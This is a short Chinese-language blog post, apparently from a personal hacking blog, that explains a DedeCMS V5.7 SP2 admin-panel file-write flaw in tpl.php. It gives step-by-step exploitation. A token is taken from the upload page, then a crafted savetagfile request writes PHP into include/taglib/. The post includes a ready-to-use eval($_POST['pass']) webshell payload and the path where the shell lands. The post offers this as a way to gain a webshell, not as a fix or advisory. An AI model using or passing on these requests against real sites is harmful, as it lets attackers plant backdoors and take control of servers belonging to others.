DedeCMS V5.7 SP2后台代码执行漏洞拿webshell

  • A+
所属分类:颓废's Blog
摘要

织梦默认的后台地址是/dede/,当然也可以被更改,到时候根据网站具体情况替换默认后台地址即可。


漏洞详情

织梦默认的后台地址是/dede/,当然也可以被更改,到时候根据网站具体情况替换默认后台地址即可。

dede/tpl.php 中第251行到281行

csrf_check(); if(!preg_match("#^[a-z0-9_-]{1,}/.lib/.php$#i", $filename)) {     ShowMsg('文件名不合法,不允许进行操作!', '-1');     exit(); } require_once(DEDEINC.'/oxwindow.class.php'); $tagname = preg_replace("#/.lib/.php$#i", "", $filename); $content = stripslashes($content); $truefile = DEDEINC.'/taglib/'.$filename; $fp = fopen($truefile, 'w'); fwrite($fp, $content); fclose($fp);

1.由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。

2.可以看到将content直接写入到文件中导致可以getshell。但是这里的文件名经过正则表达式,所以必须要.lib.php结尾。

注意: 这里还有一个csrf_check()函数,即请求中必须要带token参数。

漏洞利用

先获取token,访问/dede/tpl.php?action=upload  

查看源代码   取得token

DedeCMS V5.7 SP2后台代码执行漏洞拿webshell

在构建  访问 

网址/后台/tpl.php?filename=tuifei.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=token值

得到的地址是

http://网址/include/taglib/tuifei.lib.php

DedeCMS V5.7 SP2后台代码执行漏洞拿webshell

需要getshell是这样

网址/后台/tpl.php?filename=tuifeiseo.lib.php&action=savetagfile&content=%3C?php%20eval($_POST['pass'])?%3E&token=token值

成功是这样

DedeCMS V5.7 SP2后台代码执行漏洞拿webshell

得到的地址是

http://网址/include/taglib/tuifeiseo.lib.php

DedeCMS V5.7 SP2后台代码执行漏洞拿webshell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: